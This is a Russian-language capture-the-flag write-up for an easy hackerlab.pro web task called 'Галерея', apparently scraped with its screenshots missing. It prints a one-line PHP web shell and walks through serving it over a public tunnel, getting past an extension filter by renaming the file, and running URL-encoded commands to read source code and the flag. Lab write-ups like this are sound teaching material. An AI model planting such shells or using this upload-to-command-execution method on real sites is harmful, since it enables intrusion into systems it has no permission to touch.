Название: Галерея
Категория: Web
Уровень: Лёгкий
Ссылка на задание: https://hackerlab.pro/categories/web/564aa4b1-6073-448d-8cde-448222ea977c
XP: 300
Вступление
Вообще, я не делаю WriteUp'ы на те задания, которые его уже имеют на платформе. Однако после собственного решения, я решил его прочесть и мне он не очень понравился, нет информации из-за чего новичёк может поставить в тупик, поэтому здесь я очень подробно распишу шаг за шагом.Reconnaissance
Мы видим сервис, который позволяет просматривать фотографии доступные по ссылке, к гадалке не ходи - здесь SSRF. Давайте попробуем загрузить какую-нибудь случайную картинку ради примера.Сервис работает, теперь давайте попробуем загрузить туда скрипт на PHP для получения RCE.
Exploitation
Создаём документ на рабочем столе rce.php и вставляем туда простой шелл:
PHP:
<?php
system($_GET['cmd']);
?>
Распаковка:
Код:
tar -zxfv clo-{VERSION}-stable-linux-x86_64.tar.gz
Код:
mv clo /usr/bin
Код:
python3 -m http.server 9090
http://localhost:9090/, то мы попадём в рабочую директорию через браузер.Теперь переадресуем этот туннель с помощью clo, чтобы он был общедоступным.
Код:
# Не забудьте привязать токен clo set token {TOKEN}
clo publish http 9090
Теперь сервис сможет прочитать наш файл, давайте ему его отправим.
Сервис ругается, что расширение файла недопустимо, видимо там какая-то фильтрация, давайте попробуем изменить имя файла на .png.
Изображение успешно загрузилось, давайте попробуем использовать переменную cmd, которую мы задали ранее. Для удобства перейдём в Burp Suite. Вывод пуст, давайте попробуем изменить на .txt.
Видим, что это помогло. Теперь нам нужно прочитать исходники проекта. Но просто командой
cat index.php, мы не обойдёмся, поэтому давайте закодируем это в URL-кодировку.И вот теперь уже, флаг у нас!